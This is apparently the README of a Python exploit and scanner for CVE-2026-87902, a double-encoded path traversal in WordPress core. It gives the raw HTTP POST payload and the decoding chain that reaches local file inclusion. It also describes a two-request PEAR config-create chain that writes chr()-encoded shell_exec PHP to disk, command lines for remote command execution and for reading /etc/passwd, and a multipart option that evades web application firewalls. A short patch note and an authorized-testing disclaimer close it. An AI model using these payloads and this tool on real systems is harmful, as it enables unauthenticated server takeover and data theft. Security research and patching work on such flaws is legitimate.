
PoC em Python e scanner para CVE-2026-87902, uma path traversal no core do WordPress que leva a LFI e RCE baseado em PEAR, com bypass de WAF e exploração automatizada.
Inclusão Local de Ficheiro (LFI) não autenticada através de path traversal com dupla codificação no resolvedor de templates de página do núcleo do WordPress, com cadeia de RCE baseada em PEAR.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-87902 |
| CVSS | 9.2 (Crítico) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| CWE | CWE-98 — Controlo Inadequado do Nome do Ficheiro para Include/Require |
| Afetado | WordPress 4.7.0 – 7.1.1 |
| Corrigido | WordPress 7.1.2 + backports para todos os ramos suportados |
| Autenticação | Nenhuma (não autenticado) |
get_page_template() em wp-includes/template.php chama urldecode() no parâmetro de consulta pagename depois de a sanitização já ter sido executada. Uma sequência ../ com dupla codificação (%252E%252E%252F) passa pela primeira descodificação do PHP como %2E%2E%2F, sobrevive a sanitize_title_with_dashes() (que preserva sequências %xx), e é depois descodificada pela chamada tardia urldecode() do WordPress para ../ — escapando do diretório do tema.
O método POST é necessário porque redirect_canonical() retorna antecipadamente para pedidos não-GET/HEAD, impedindo que o caminho seja normalizado antes de atingir o código vulnerável.
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
page_id=2&pagename=templates%25252E%25252E%25252F%25252E%25252E%25252F...%25252Findex
1. PHP decodes POST body: templates%252E%252E%252F%252E%252E%252F...%252Findex
2. WP sanitize preserves: templates%2E%2E%2F%2E%2E%2F...%2Findex
3. get_page_template() urldecode(): templates/../../../index
4. locate_template() resolves: wp-content/themes/<theme>/page-templates/../../../index.php
5. file_exists() succeeds → include() executes the file
.php arbitrários fora do diretório do tema são incluídos e executadospearcmd.php (requer PEAR instalado + register_argc_argv=On)Dois pedidos POST anónimos permitem obter RCE:
Fase 1 — Incluir pearcmd.php através de traversal. A query string /?+config-create+/<php-payload>+<output>.php torna-se no argv do PEAR. O comando config-create escreve dados controlados pelo atacante (incluindo tags PHP) num diretório com permissões de escrita.
Fase 2 — Incluir o ficheiro escrito pelo PEAR. O PHP incorporado é executado com os privilégios do servidor web.
Os payloads PHP usam codificação chr() (<?=shell_exec(chr(105).chr(100))?>) para evitar caracteres de aspas que wp_magic_quotes() escaparia.
cve-2026-87902.py — verificador automatizado + scanner LFI + exploit de RCE via PEAR. Usa http.client para controlo de pedidos byte-exato (sem re-codificação por bibliotecas).
Python 3.6+ (apenas biblioteca padrão — sem dependências pip)
# Check vulnerability only
python3 cve-2026-87902.py https://target.com --check
# Check with WAF bypass (multipart/form-data)
python3 cve-2026-87902.py https://target.com --check --multipart
# Specify page ID and traversal depth
python3 cve-2026-87902.py https://target.com -p 42 --depth 7
# LFI scan (default targets)
python3 cve-2026-87902.py https://target.com
# LFI scan with custom files
python3 cve-2026-87902.py https://target.com -f etc/passwd wp-includes/pluggable
# RCE via PEAR chain
python3 cve-2026-87902.py https://target.com --rce "id"
# Read a file via RCE
python3 cve-2026-87902.py https://target.com --read /etc/hostname
# Full options
python3 cve-2026-87902.py https://target.com --rce "whoami" \
--pear /usr/local/lib/php/pearcmd \
--output /tmp/wp-rce-payload \
--multipart --timeout 30
page-*--multipart envolve o payload em multipart/form-data para evadir a correspondência de padrões da WAFchr()| Marcador | Significado |
|---|---|
[HIT] | Ficheiro foi incluído com sucesso |
[---] | Resposta normal (ficheiro não incluído) |
[???] | Resposta difere significativamente — vale a pena investigar |
[WAF] | Bloqueado pela WAF (403) |
[ERR] | Falha na ligação |
page-* (por exemplo, page-templates/)pearcmd.php do PEAR legível + register_argc_argv=On + /tmp com permissões de escritaAtualize para o WordPress 7.1.2 ou a versão de segurança mais recente para o seu ramo (backports disponíveis para 4.7).
Esta ferramenta é fornecida apenas para testes de segurança autorizados e investigação de bug bounty. Utilize-a apenas contra sistemas para os quais tem permissão explícita de teste. O acesso não autorizado a sistemas informáticos é ilegal.